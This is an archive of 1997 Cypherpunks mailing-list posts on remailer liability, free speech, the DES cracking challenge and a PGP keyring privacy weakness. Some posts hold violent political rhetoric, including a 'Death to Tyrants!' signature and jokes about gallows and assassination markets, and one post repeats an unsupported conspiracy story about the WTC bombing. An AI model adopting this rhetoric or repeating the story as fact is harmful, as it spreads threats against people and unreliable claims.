I think this line of reasoning, that the "common law" in Western countries
is that owners and leasors are not the one responsible for crimes committed
using their property and services (unless they are knowledgeable about the
crimes, which is a separable issue), is straightforwardly applicable to the
remailer issue.

Besides, the ECPA, as noted, makes it an explicit crime for mail services
to inspect the contents of mail except under specified or agreed-upon
conditions.

--Tim may



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:54:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <Pine.GSO.3.95.970616140435.25992G-100000@well.com>
Message-ID: <v03102808afcb6e1b4e35@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:38 PM -0700 6/16/97, William H. Geiger III wrote:

>>               ACLU, EPIC Call on Congress and Clinton to
>>                   "Take the First Amendment Pledge"
>
>The sad thing is that we need them to do it a second time. They already
>made this pledge once before, it's called the oath of office.
>
>If the ingore it after the first time why should they honor it a second
>time?

Indeed, it looks to be just press release jive.

If they "take the pledge" on the First, why not the Second? And all the others?

In any case, they can all take this "pledge" with a clear conscience--not
that I expect many to respond to a PR stunt like this--and say "I do."
After all, their arguments for things like the CDA are not based on
overturning the First Amendment: what they will always claim is that the
law is one of the many "exceptions" to the First Amendment. (There are
many...I presume I don't have to make a list here, do I?)

And will EPIC then withdraw its support of Pro-CODE, which says that
certain forms of speech when used in furtherance of a crime, or to hide a
crime, are criminal?  Would EPIC support a law which said that Spanish is
legal to speak or write in the U.S., unless it is used to further or hide a
crime? How about Pig Latin? How about Rot13? How about whispering? How
about RSA?

So, EPIC, why don't _you_ take the First Amendment Pledge and then
immediately withdraw all support for Pro-CODE so long as it contains this
pernicious language criminalizing certain modes of speech?

I didn't think so.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:59:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous proxies & ITAR question
Message-ID: <v03102809afcb7104fd39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




>The renter of a car or truck is not responsible for the contents. The
>driver of a truck is
          ^^^^^^

This is ambiguous. By this I meant the "person who rents to another," not
the "person who rents from someone."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 07:48:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Capitalist Assassination Politics
In-Reply-To: <199706151420.PAA19195@cscmgb.cc.ic.ac.uk>
Message-ID: <3.0.2.32.19970616154947.00762f8c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Bell's AP isn't a Democratic Assassins Program - it's a free-market system.
In a free market, when enough people want something enough to pay for it, 
like buying dope or killing someone, someone may decide it's worth their while
and just do it.  The catch is that he confuses mechanism with policy;
the market doesn't really care _why_ someone has a price on their head.

In a Democratic Assassins Program, everybody gets together and
haggles about who ought to be killed and why, and if a majority
wants someone killed, they go do it, or hire someone to do it for them,
and tell the minority what a wonderful thing Democracy is.

The US theoretically has a Republican Form Of Assassination -
everybody votes on some representatives, and the representatives
do whatever they can get away with, given future elections as a moderating
threat,
such as assassinating hundreds of thousands of Iraqis instead of the
one Iraqi they told us we should all Hate for Two Minutes,
or sending poisoned cigars to annoying bearded guys.

In practice, we have a Capitalist Mixed-Economy Assassination Process -
the Representatives decide to assassinate some people because it
seems to be popular in the polls, and other people because the 
Big Business interests want them assassinated, or because the 
Pentagon wants to advertise their availability for future jobs, and
some free-market "work" gets done, since you don't _have_ to 
annoy the national-scale interests to get assassinated,
some things get done by Good Old Fashioned Volunteerism*,
government-hired assassins decide ignore some collateral damage
or work overtime in the war on Republicanly-Selected Substances
and some people are society offenders who might best be underground
or just tempt Darwin too many times.


[* President's Commission on Volunteerism
http://www.whitehouse.gov/volunteer.htm  ]


----
Attachment Converted: http://www.cia.odci.gov/assassination/nominations.doc
----



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 17 Jun 1997 07:02:59 +0800
To: trei@process.com
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <199706161546.IAA05715@toad.com>
Message-ID: <33A5B74F.7C4B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> Vince writes:
> > Press Release
> >     Anguilla surpasses US military in code breaking challenge.

> > The Caribbean country of Anguilla has searched through more than
> > 2,380,000,000,000 code keys as part of the Deschall effort to break a DES
> > encrypted message.

> They have not released their source code for independent
> evaluation. I for one would feel a lot more comfortable with
> DESChall if there was at least some outside review, even if
> no general release is made.

Peter,
  I emailed the DESChall folks about the same time I was accusing
them and you and the Swedish (?) guy of conspiring to save the
good keys to yourself and demanded their source code, which they
sent to me.
  I read code with the same expertise that Richard Nixon does
standup comedy, but I have a girlfriend who dreams in algorithms
and she was mightily impressed with the code itself. Unfortunately,
they had a problem with hackers fucking with their code and doing
interceptions on the data being transmitted back to their site.

  Since the DESChall folks were so kind as to share their source
code (they have modified it, since then) with a self-professed
lunatic, I have no doubt that they would not object to a real
player in the crypto game (such as yourself) taking a gander at
their source code. They may even need some kindhearted soul to
help them transport it to a specific platform.
  If you contact them and they tell you to fuck off, then give
me a holler and I'll see if Bianca still has the source from
their previous version of the DESChall software. (I think that
the changes in procedure they made applied only to the handling
of the server/client communications so that Dimitri couldn't add
ASCII art to the keycheck results.)

Toto
http://www3.sk.sympatico.ca/carljohn/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 17 Jun 1997 06:40:45 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162137.QAA23890@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970616160646.10982A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 16 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <Pine.GSO.3.95.970616140435.25992G-100000@well.com>, on 06/16/97 
>    at 02:04 PM, Declan McCullagh <declan@well.com> said:
> 
> >                          JOINT PRESS RELEASE:
> >                     American Civil Liberties Union
> >                Electronic Privacy Information Center
> 
> >               ACLU, EPIC Call on Congress and Clinton to
> >                   "Take the First Amendment Pledge"
> 
> The sad thing is that we need them to do it a second time. They already
> made this pledge once before, it's called the oath of office.
> 
> If the ingore it after the first time why should they honor it a second
> time?
> 

Bravo!

Couldn't have said it better myself.  What do they do with 
presidents who violate their oath of office?   

Would anyone notice?

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 06:17:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <Pine.GSO.3.95.970616140435.25992G-100000@well.com>
Message-ID: <199706162137.QAA23890@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970616140435.25992G-100000@well.com>, on 06/16/97 
   at 02:04 PM, Declan McCullagh <declan@well.com> said:

>                          JOINT PRESS RELEASE:
>                     American Civil Liberties Union
>                Electronic Privacy Information Center

>               ACLU, EPIC Call on Congress and Clinton to
>                   "Take the First Amendment Pledge"

The sad thing is that we need them to do it a second time. They already
made this pledge once before, it's called the oath of office.

If the ingore it after the first time why should they honor it a second
time?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 17 Jun 1997 08:14:29 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162213.RAA24347@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.96.970616165303.4171D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, William H. Geiger III wrote:

> IMHO I think that we need a trial, similar to the Nuremberg Trials after
> WWII, for the politicians in DC for "High Crimes Against the Constitution
> of the United States".
> 
> It could even be hyped as a "jobs" program for DC, just think of all the
> gallows that would need to be built. <EG>

It would certainly bring new meaning to the term "well hung politician".
(And one I could live with...)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 17 Jun 1997 05:35:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03007803afcb3b906784@[168.161.105.191]>
Message-ID: <v03007803afcb5be2a009@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:41 -0700 6/16/97, Tim May wrote:
>As to why I "elide" paragraphs, I do it as I always do it, to save space
>and to adhere to the "never quote more than a half page of text" rule of
>thumb.

Fair enough. I was being overly sensitive.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 06:46:28 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <Pine.LNX.3.95.970616160646.10982A-100000@westsec.denver.ssds.com>
Message-ID: <199706162213.RAA24347@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970616160646.10982A-100000@westsec.denver.ssds.com>, on
06/16/97 
   at 05:07 PM, Jim Burnes <jim.burnes@ssds.com> said:



>On Mon, 16 Jun 1997, William H. Geiger III wrote:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In <Pine.GSO.3.95.970616140435.25992G-100000@well.com>, on 06/16/97 
>>    at 02:04 PM, Declan McCullagh <declan@well.com> said:
>> 
>> >                          JOINT PRESS RELEASE:
>> >                     American Civil Liberties Union
>> >                Electronic Privacy Information Center
>> 
>> >               ACLU, EPIC Call on Congress and Clinton to
>> >                   "Take the First Amendment Pledge"
>> 
>> The sad thing is that we need them to do it a second time. They already
>> made this pledge once before, it's called the oath of office.
>> 
>> If the ingore it after the first time why should they honor it a second
>> time?
>> 

>Bravo!

>Couldn't have said it better myself.  What do they do with 
>presidents who violate their oath of office?   

>Would anyone notice?

IMHO I think that we need a trial, similar to the Nuremberg Trials after
WWII, for the politicians in DC for "High Crimes Against the Constitution
of the United States".

It could even be hyped as a "jobs" program for DC, just think of all the
gallows that would need to be built. <EG>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 06:58:47 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
Message-ID: <199706162228.RAA24621@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0302090bafcb5bb9218f@[207.226.3.11]>, on 06/16/97 
   at 05:13 PM, Alan Davidson <abd@cdt.org> said:

>At 11:17 AM -0500 6/16/97, William H. Geiger III wrote:
>>
>>Has there been any conformation on this?
>>
>>I would like to get in touch with some of my contacts at IBM but would
>>like to have some info on this first.


>To the best of my knowledge neither CDT nor any of the individual authors
>has been served with any papers or received any other notice of a suit
>regarding the key recovery report. (Available at
>http://www.crypto.com/key_study)

>I suspect that the last thing IBM would want to do is give this experts'
>report
>more publicity.  At this point, rumors of a lawsuit appear to be
>unfounded.

>And remember: In libel cases, truth is always a defense.  :)

I figured that it was FUD but I have seen IBM do much more stupid things
than this so it seemd worth the effort to follow up.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 17 Jun 1997 06:36:55 +0800
To: cypherpunks@toad.com
Subject: Re: Homer on Terrorism
Message-ID: <1.5.4.32.19970616214737.0084fbb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:

>I agree.  It seems a bit like blackmail to me.  These 'consultants' would
>have better off having friends buy put options on Netscape stock prior to
>the phone call.  Then if Netscape won't pay their price they get the money
>from the market when they make the information public, including the source
>code.  Spare me the insider trading rants.

Good point. Perhaps CNNfn and PC Rag insiders did just that. Maybe
even got a few for CaboComm's account. Maybe the insiders at NSCP 
dumped a few after the negotiations tanked. Screaming "terrorism" for
smoke.

Isn't it conventional wisdom that  the market is churned with with blackmail, 
greenmail, "terrorist" slaughter of W&O and such, laying down "free market"
smoke.

Story from Federal pen here is that the WTC bomb aimed to topple the pile 
onto World Financial Center across the road where the plushest players 
squat on gold but job-lock TLAs running the op said no-no, just terrify the 
fats into upping our CT-consulting fees and budgets, like IRA @ London City.

Inmate Ian was heard to warn, "Worked like a charm, din it: now shut your hole 
Youseff about that salted laptop fabbed up St Andrews, Great Malvern."
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 07:08:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <v03102809afcb7104fd39@[207.167.93.63]>
Message-ID: <199706162249.RAA24929@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102809afcb7104fd39@[207.167.93.63]>, on 06/16/97 
   at 03:41 PM, Tim May <tcmay@got.net> said:

>>The renter of a car or truck is not responsible for the contents. The
>>driver of a truck is
>          ^^^^^^

>This is ambiguous. By this I meant the "person who rents to another," not
>the "person who rents from someone."

It "should" work either way. :)

If I went and rented a truck and there was a "roach" in the ashtray I
should not be held accountable for possesion unless it could be proved
that it was mine and not from someone else that had used the truck or even
a worker at the retal shop.

Ofcource if I had the trailer loaded with 100K of coke it would be a
little hard to say that someone else left it there. :)


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 17 Jun 1997 07:42:11 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Anonymous proxies & ITAR question (fwd)
Message-ID: <199706162250.RAA01843@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Mon, 16 Jun 97 17:48:52 -0500
> Subject: Re: Anonymous proxies & ITAR question

> >>The renter of a car or truck is not responsible for the contents. The
> >>driver of a truck is
> >          ^^^^^^

The renter is not responsible until they take contractual possession of the
truck. From that point until placed on the companies property and the key is
placed in the lock-box hanging on the fence (or whatever system they use
where you live) it is the responsibility of the renter/driver/physical
possessor of the truck for its behaviour or contents.

> If I went and rented a truck and there was a "roach" in the ashtray I
> should not be held accountable for possesion unless it could be proved
> that it was mine and not from someone else that had used the truck or even
> a worker at the retal shop.
> 
> Ofcource if I had the trailer loaded with 100K of coke it would be a
> little hard to say that someone else left it there. :)

Why should coke be treated any different than pot? How much pot should I be
able to put in such a truck and 'get away' with as a function of SOP? How
much coke?

No, ambiguity like this has no place in law. The litmus test should be
whether a person or their property were damaged without their prior
permission. Crimes should be a function of physical interaction and not some
qualitative or even quantitative test. If it is a crime to do 100 of them
then it should be a crime to do 1/10 (assuming it should be a crime in the
first place).

I can see it now,

"Sorry sir, we had to let him go. He only 1/4 raped her."

Blah.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Tue, 17 Jun 1997 06:47:02 +0800
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Re: IBM sues critics?
In-Reply-To: <199706161623.LAA20012@mailhub.amaranth.com>
Message-ID: <v0302090bafcb5bb9218f@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 AM -0500 6/16/97, William H. Geiger III wrote:
>
>Has there been any conformation on this?
>
>I would like to get in touch with some of my contacts at IBM but would
>like to have some info on this first.


To the best of my knowledge neither CDT nor any of the individual authors
has been served with any papers or received any other notice of a suit
regarding the key recovery report. (Available at
http://www.crypto.com/key_study)

I suspect that the last thing IBM would want to do is give this experts'
report
more publicity.  At this point, rumors of a lawsuit appear to be unfounded.

And remember: In libel cases, truth is always a defense.  :)

	-- Alan Davidson
	   Staff Counsel, CDT
	   "I work for shallow pockets"


Alan Davidson, Staff Counsel                 202.637.9800 (v)
Center for Democracy and Technology          202.637.0968 (f)
1634 Eye St. NW, Suite 1100                  <abd@cdt.org>
Washington, DC 20006                         PGP key via finger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 09:29:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
Message-ID: <v0310280aafcb9666c58e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Before I even log in and see if anyone else caught this, I wrote:


>And will EPIC then withdraw its support of Pro-CODE, which says that
>certain forms

^^^^^^^^^^

I meant SAFE, of course. Pro-CODE contains no criminalization of crypto
speech provisions, at least not that I've seen.

It's SAFE that's so pernicious.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 07:44:42 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Anonymous proxies & ITAR question (fwd)
In-Reply-To: <199706162250.RAA01843@einstein.ssz.com>
Message-ID: <199706162330.SAA25461@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706162250.RAA01843@einstein.ssz.com>, on 06/16/97 
   at 05:50 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Mon, 16 Jun 97 17:48:52 -0500
>> Subject: Re: Anonymous proxies & ITAR question

>> >>The renter of a car or truck is not responsible for the contents. The
>> >>driver of a truck is
>> >          ^^^^^^

>The renter is not responsible until they take contractual possession of
>the truck. From that point until placed on the companies property and the
>key is placed in the lock-box hanging on the fence (or whatever system
>they use where you live) it is the responsibility of the
>renter/driver/physical possessor of the truck for its behaviour or
>contents.

>> If I went and rented a truck and there was a "roach" in the ashtray I
>> should not be held accountable for possesion unless it could be proved
>> that it was mine and not from someone else that had used the truck or even
>> a worker at the retal shop.
>> 
>> Ofcource if I had the trailer loaded with 100K of coke it would be a
>> little hard to say that someone else left it there. :)

>Why should coke be treated any different than pot? How much pot should I
>be able to put in such a truck and 'get away' with as a function of SOP?
>How much coke?

>No, ambiguity like this has no place in law. The litmus test should be
>whether a person or their property were damaged without their prior
>permission. Crimes should be a function of physical interaction and not
>some qualitative or even quantitative test. If it is a crime to do 100 of
>them then it should be a crime to do 1/10 (assuming it should be a crime
>in the first place).

This point I was trying to make was that the renter of property should not
be held resposable for "illegal" items that may be on that property
without his knowledge.

Since every truck I have ever rented included a physical inspection of the
truck (basically to note all the dents and dings that were already there)
it would be hard to say that you had no knowldge of the trailer being
filled with coke (well it would be easy to say but no one would beleive
you). Such inspections do not include checking ashtrays, cracks between
the seats, taking off the door pannels, ...ect and the renter should not
be held responcible unless it could be *proved* that he was the one that
put the items there and not someone else.

>I can see it now,

>"Sorry sir, we had to let him go. He only 1/4 raped her."

Now you are being silly and not to the point of the disscusion. This was
not about wether possession of a "roach" should be more or less legal than
100K of coke. The point was wether the renter should be held accountable
for possesion of "illegal" substances that he had no prior knowledge of.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6XNTI9Co1n+aLhhAQFY8wP/WXKyKIh9esbM+y+siAHQ5NhUokDpAN42
0wCKwtnmZsyz78nLJknJ+aGLs2VPZnLrwolAZA0M3RNE8Wr1nrJZ+oA17y/Xa898
GM/b6y2P14FWkoJ0ePzCCLomgjTHaT+GeXbaFtmDRXeh4JSDzgokFw1+5uonb5Dg
Qlxgqshzz4Q=
=rWiu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 10:01:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
Message-ID: <3.0.2.32.19970616183010.0074a894@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
>c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
>keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
>to go through most of the common places.
>
>The very same guy probably has a password that is:
	> [Dictionary attack on wimpy passphrases ]

With PGP 2.0 ... 4.0 secret keyring files, there's another attack.
(I don't know if PGP 5.0 files have this problem or not.)
You can't get the secret key itself from the password file without cracking 
the IDEA password (or algorithm), but the user-name is in cleartext.
	Joe Sixpack <jr6@aol.com>            0x98458509834295834098589...
	Joe Sixpack <purchasing@work.com>    0x34543905843f90853490545...
	Jane Doe #2 <janedoe2@nym.alias.net> 0x2d0e2d0e231415926535487...
	Lone Ranger <maskedman@dopedeal.com> 0x23dead5beef890832455345...
	TruthMunger <medusa@blacknet.gov>    0x27182818284590459024090...
	Arms Buyer  <getguns@freeburma.org>  0x08908024308732049872390...
If you've got pseudonyms as well as your real name, they show;
you've got all the usual risks of traffic analysis, outing, etc.	
and your secret identity is toast.  For most people, it's not a big risk,
but if you really _do_ need to keep your pseudonym untraceable,
this lets it leak out of your encrypted hard disk, which would be Bad.


					Publius





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 18 Jun 1997 00:22:19 +0800
To: Peter Trei <trei@process.com>
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <199706161546.IAA05715@toad.com>
Message-ID: <Pine.LNX.3.91.970616184448.515B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> They have not released their source code for independent 
> evaluation. I for one would feel a lot more comfortable with
> DESChall if there was at least some outside review, even if
> no general release is made.

I do not keep up with the various DES challenge efforts: Did DESChall 
ever give a reason for not releasing source code?
Has anyone tried reverse engineering the executable? 

Does anyone have statistics on how quick deschall is as opposed to, for 
example, Bryddes? If they haven`t released source code and it is 
significantly faster it may be they have further key schedule 
optimisations they do not wish to share.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 17 Jun 1997 07:37:22 +0800
To: cypherpunks@toad.com
Subject: If only...
Message-ID: <199706162302.TAA08923@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote: 
> At 07:10 PM 6/13/97 -0700, Tim May wrote:
> >>You mean they can license handguns, but not reporters???
> 
> >Indeed, it is strange. What part of "Congress shall make no law"
> >do they not understand?
> 
> the part between "Congress shall make no law" and "shall not be infringed"...

  If only they had written "Congress shall make no law." and left
it at that...

TM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 17 Jun 1997 07:39:48 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
Message-ID: <199706162303.TAA09004@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> I must side with Declan here, true, sometimes Declans articles show a
> subtle hint of insiderism <tm>, but I believe that is an inevitable
> consequence of working around people in D.C. who don`t want to be
> directly associated with certain statements, to quote them against their
> will would be journalistic suicide and would soon see Declan with no
> contacts whatsoever.

  The editor of the main newspeak print media for the area I live
in told me that their reporters are instructed to write their 
articles so as to be readable to someone with an eighth grade
education.
  I certainly do not envy Declan for being in the position of
having to make his articles readable for the people who are still
trying to find the "Any" key while trying not to leave the 
cypherpunks with the impression he's a fucking retard.

  *** Next Week ***
  Declan reveals who is buried in "Grant's Tomb."

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Tue, 17 Jun 1997 11:04:32 +0800
To: cypherpunks@cyberpass.net
Subject: Receiving Messages Anonymously
Message-ID: <v02140b01afcbb73285d2@[206.184.194.206]>
MIME-Version: 1.0
Content-Type: text/plain



Receiving anonymous messages is still an open problem.  The solutions
we have so far are cumbersome to operate.  They also depend on a chain
of machines remaining up and reliable for a long time, which is
expensive.

A quick solution is to use the list to send anonymous messages.  It is
inexpensive to tell if a message is encrypted for a key you control so
it is cheap to find messages you can read.

The nice thing about this solution is that it is quite difficult to
